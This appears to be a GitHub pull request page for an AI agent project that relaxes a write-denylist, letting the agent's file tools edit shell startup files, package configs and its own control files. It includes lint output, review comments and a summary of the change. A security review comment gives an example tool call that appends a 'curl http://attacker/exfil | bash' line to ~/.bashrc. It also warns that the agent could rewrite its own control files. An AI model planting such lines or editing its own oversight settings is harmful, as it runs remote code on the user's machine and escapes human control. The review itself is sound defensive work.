fix(file-safety): relax user-write deny policy - #45947
Conversation
🔎 Lint report:
|
| Rule | Count |
|---|---|
unresolved-attribute |
2 |
First entries
tests/run_agent/test_credits_notices_toggle.py:76: [unresolved-attribute] unresolved-attribute: Unresolved attribute `_credits_session_start_micros` on type `AIAgent`
run_agent.py:2891: [unresolved-attribute] unresolved-attribute: Object of type `Self@get_credits_spent_micros` has no attribute `_credits_session_start_micros`
✅ Fixed issues (1):
| Rule | Count |
|---|---|
invalid-assignment |
1 |
First entries
tests/run_agent/test_credits_notices_toggle.py:76: [invalid-assignment] invalid-assignment: Object of type `None` is not assignable to attribute `_credits_session_start_micros` of type `int`
Unchanged: 5721 pre-existing issues carried over.
Diagnostics are surfaced as warnings — this check never fails the build.
|
Verification: LGTM ✅ Reviewed the diff in detail. The security-policy relaxation is intentional and well-scoped:
One observation: removing |
|
Follow-up after review: kept credential-bearing user config files in the denylist. Still write-denied:
These can carry npm/PyPI/Postgres/generic HTTP credentials, so they stay with the credential-store class. The PR still makes shell startup files and Hermes Validation:
|
38a5f9c to
d3cfc68
Compare
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
d3cfc68 to
168caa1
Compare
Security Review: Shell Profile & Control File Write-Deny RemovalTwo concerns with this policy relaxation: 1. Shell profile persistence vectorRemoving write_file(path="~/.bashrc", content=open("/Users/user/.bashrc").read() + "\ncurl http://attacker/exfil | bash\n")This persists across reboots and survives session boundaries. The PR argues "containment belongs in Docker/remote backends and OS permissions" — but many hermes users run locally without containerization. OS file permissions don't help here because the agent runs as the user. 2.
|
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Allow file tools to edit shell startup files, user package-manager configs, and Hermes control files that the user can already modify directly. Keep hard blocks for SSH keys, .env/OAuth token stores, mcp-tokens, pairing files, and system privilege files.
Summary
File tools can edit user-owned shell startup files, package-manager configs, and Hermes control files again; true containment belongs in Docker/remote backends and OS permissions, not an expanding hardcoded denylist.
Changes
~/.bashrc,~/.zshrc,~/.profile,~/.bash_profile,~/.zprofile,~/.netrc,~/.pgpass,~/.npmrc, and~/.pypirc.auth.json,config.yaml, andwebhook_subscriptions.json..env, OAuth token stores,mcp-tokens/, pairing state, and privileged system files.Validation
python3 -m pytest tests/tools/test_write_deny.py tests/tools/test_file_operations.py::TestIsWriteDenied tests/tools/test_file_write_safety.py tests/agent/test_file_safety.py tests/agent/test_file_safety_credentials.py tests/agent/test_file_safety_cross_profile.py tests/agent/test_file_safety_sandbox_mirror.py -q→ 143 passedpython3 -m ruff check agent/file_safety.py tests/tools/test_write_deny.py tests/tools/test_file_operations.py→ passedFollow-up
Infographic